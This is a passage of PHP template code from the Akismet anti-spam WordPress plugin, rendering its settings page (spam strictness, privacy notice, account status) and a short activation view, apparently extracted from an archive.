encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly.', 'akismet' ); ?> <?php else : ?> <strong><?php esc_html_e( 'Enabled.', 'akismet' ); ?></strong> <?php esc_html_e( 'All systems functional.', 'akismet' ); ?> <?php endif; ?> <?php endif; ?> </div> </div> </div> <?php endif; ?> <div class="akismet-settings__row"> <div class="akismet-settings__row-text"> <h3 class="akismet-settings__row-title"><?php esc_html_e( 'Comments', 'akismet' ); ?></h3> </div> <div class="akismet-settings__row-input"> <label class="akismet-settings__row-input-label" for="akismet_show_user_comments_approved"> <input name="akismet_show_user_comments_approved" id="akismet_show_user_comments_approved" value="1" type="checkbox" <?php // If the option isn't set, or if it's enabled ('1'), or if it was enabled a long time ago ('true'), check the checkbox. checked( true, ( in_array( get_option( 'akismet_show_user_comments_approved' ), array( false, '1', 'true' ), true ) ) ); ?> /> <span class="akismet-settings__row-label-text"> <?php esc_html_e( 'Show the number of approved comments beside each comment author.', 'akismet' ); ?> </span> </label> </div> </div> <div class="akismet-settings__row is-radio"> <div class="akismet-settings__row-text"> <h3 class="akismet-settings__row-title"><?php esc_html_e( 'Spam filtering', 'akismet' ); ?></h3> </div> <div class="akismet-settings__row-input"> <fieldset> <legend class="screen-reader-text"> <span><?php esc_html_e( 'Akismet Anti-spam strictness', 'akismet' ); ?></span> </legend> <div> <label class="akismet-settings__row-input-label" for="akismet_strictness_1"> <input type="radio" name="akismet_strictness" id="akismet_strictness_1" value="1" <?php checked( '1', get_option( 'akismet_strictness' ) ); ?> /> <span class="akismet-settings__row-label-text"> <?php esc_html_e( 'Silently discard the worst and most pervasive spam so I never see it.', 'akismet' ); ?> </span> </label> </div> <div> <label class="akismet-settings__row-input-label" for="akismet_strictness_0"> <input type="radio" name="akismet_strictness" id="akismet_strictness_0" value="0" <?php checked( true, get_option( 'akismet_strictness' ) !== '1' ); ?> /> <span class="akismet-settings__row-label-text"> <?php esc_html_e( 'Always put spam in the Spam folder for review.', 'akismet' ); ?> </span> </label> </div> </fieldset> <div class="akismet-settings__row-note"> <strong><?php esc_html_e( 'Note:', 'akismet' ); ?></strong> <?php $delete_interval = max( 1, intval( apply_filters( 'akismet_delete_comment_interval', 15 ) ) ); $spam_folder_link = sprintf( '<a href="%s">%s</a>', esc_url( admin_url( 'edit-comments.php?comment_status=spam' ) ), esc_html__( 'spam folder', 'akismet' ) ); // The _n() needs to be on one line so the i18n tooling can extract the translator comment. /* translators: %1$s: spam folder link, %2$d: delete interval in days */ $delete_message = _n( 'Spam in the %1$s older than %2$d day is deleted automatically.', 'Spam in the %1$s older than %2$d days is deleted automatically.', $delete_interval, 'akismet' ); printf( wp_kses( $delete_message, $kses_allow_link_href ), wp_kses( $spam_folder_link, $kses_allow_link_href ), esc_html( $delete_interval ) ); ?> </div> </div> </div> <div class="akismet-settings__row is-radio"> <div class="akismet-settings__row-text"> <h3 class="akismet-settings__row-title"><?php esc_html_e( 'Privacy', 'akismet' ); ?></h3> </div> <div class="akismet-settings__row-input"> <fieldset> <legend class="screen-reader-text"> <span><?php esc_html_e( 'Akismet privacy notice', 'akismet' ); ?></span> </legend> <div> <label class="akismet-settings__row-input-label" for="akismet_comment_form_privacy_notice_display"> <input type="radio" name="akismet_comment_form_privacy_notice" id="akismet_comment_form_privacy_notice_display" value="display" <?php checked( 'display', get_option( 'akismet_comment_form_privacy_notice' ) ); ?> /> <span class="akismet-settings__row-label-text"> <?php esc_html_e( 'Display a privacy notice under your comment forms.', 'akismet' ); ?> </span> </label> </div> <div> <label class="akismet-settings__row-input-label" for="akismet_comment_form_privacy_notice_hide"> <input type="radio" name="akismet_comment_form_privacy_notice" id="akismet_comment_form_privacy_notice_hide" value="hide" <?php echo in_array( get_option( 'akismet_comment_form_privacy_notice' ), array( 'display', 'hide' ), true ) ? checked( 'hide', get_option( 'akismet_comment_form_privacy_notice' ), false ) : 'checked="checked"'; ?> /> <span class="akismet-settings__row-label-text"> <?php esc_html_e( 'Do not display privacy notice.', 'akismet' ); ?> </span> </label> </div> </fieldset> <div class="akismet-settings__row-note"> <?php esc_html_e( 'To help your site with transparency under privacy laws like the GDPR, Akismet can display a notice to your users under your comment forms.', 'akismet' ); ?> </div> </div> </div> </div> <div class="akismet-card-actions"> <?php if ( ! Akismet::predefined_api_key() ) : ?> <div id="delete-action" class="akismet-card-actions__secondary-action"> <a class="submitdelete deletion" href="<?php echo esc_url( Akismet_Admin::get_page_url( 'delete_key' ) ); ?>"><?php esc_html_e( 'Disconnect this account', 'akismet' ); ?></a> </div> <?php endif; ?> <?php wp_nonce_field( Akismet_Admin::NONCE ); ?> <div id="publishing-action"> <input type="hidden" name="action" value="enter-key"> <input type="submit" name="submit" id="submit" class="akismet-button akismet-could-be-primary" value="<?php esc_attr_e( 'Save changes', 'akismet' ); ?>"> </div> </div> </form> </div> </div> <?php if ( ! Akismet::predefined_api_key() ) : ?> <div class="akismet-card"> <div class="akismet-section-header"> <h2 class="akismet-section-header__label"> <span><?php esc_html_e( 'Account', 'akismet' ); ?></span> </h2> </div> <div class="inside"> <table class="akismet-account"> <tbody> <tr> <th scope="row"><?php esc_html_e( 'Subscription type', 'akismet' ); ?></th> <td> <?php echo esc_html( $akismet_user->account_name ); ?> </td> </tr> <tr> <th scope="row"><?php esc_html_e( 'Status', 'akismet' ); ?></th> <td> <?php if ( Akismet::USER_STATUS_CANCELLED === $akismet_user->status ) : esc_html_e( 'Cancelled', 'akismet' ); elseif ( Akismet::USER_STATUS_SUSPENDED === $akismet_user->status ) : esc_html_e( 'Suspended', 'akismet' ); elseif ( Akismet::USER_STATUS_MISSING === $akismet_user->status ) : esc_html_e( 'Missing', 'akismet' ); elseif ( Akismet::USER_STATUS_NO_SUB === $akismet_user->status ) : esc_html_e( 'No subscription found', 'akismet' ); else : esc_html_e( 'Active', 'akismet' ); endif; ?> </td> </tr> <?php if ( $akismet_user->next_billing_date ) : ?> <tr> <th scope="row"><?php esc_html_e( 'Next billing date', 'akismet' ); ?></th> <td> <?php echo esc_html( gmdate( 'F j, Y', $akismet_user->next_billing_date ) ); ?> </td> </tr> <?php endif; ?> </tbody> </table> <div class="akismet-card-actions"> <?php if ( $akismet_user->status === Akismet::USER_STATUS_ACTIVE ) : ?> <div class="akismet-card-actions__secondary-action"> <a href="https://akismet.com/account?utm_source=akismet_plugin&utm_campaign=plugin_static_link&utm_medium=in_plugin&utm_content=account_overview" class="akismet-external-link" aria-label="Account overview on akismet.com"><?php esc_html_e( 'Account overview', 'akismet' ); ?></a> </div> <?php endif; ?> <div id="publishing-action"> <?php Akismet::view( 'get', array( 'text' => ( $akismet_user->account_type === 'free-api-key' && $akismet_user->status === Akismet::USER_STATUS_ACTIVE ? __( 'Upgrade', 'akismet' ) : __( 'Change', 'akismet' ) ), 'redirect' => 'upgrade', 'utm_content' => ( $akismet_user->account_type === 'free-api-key' && $akismet_user->status === Akismet::USER_STATUS_ACTIVE ? 'config_upgrade' : 'config_change' ), ) ); ?> </div> </div> </div> </div> <?php endif; ?> <?php endif; ?> </div> </div> activate.php 0000644 00000000212 15174700141 0007050 0 ustar 00 <div class="akismet-box"> <?php Akismet::view( 'setup' ); ?> </div> <div class="akismet-box"> <?php Akismet::view( 'enter' ); ?> </div>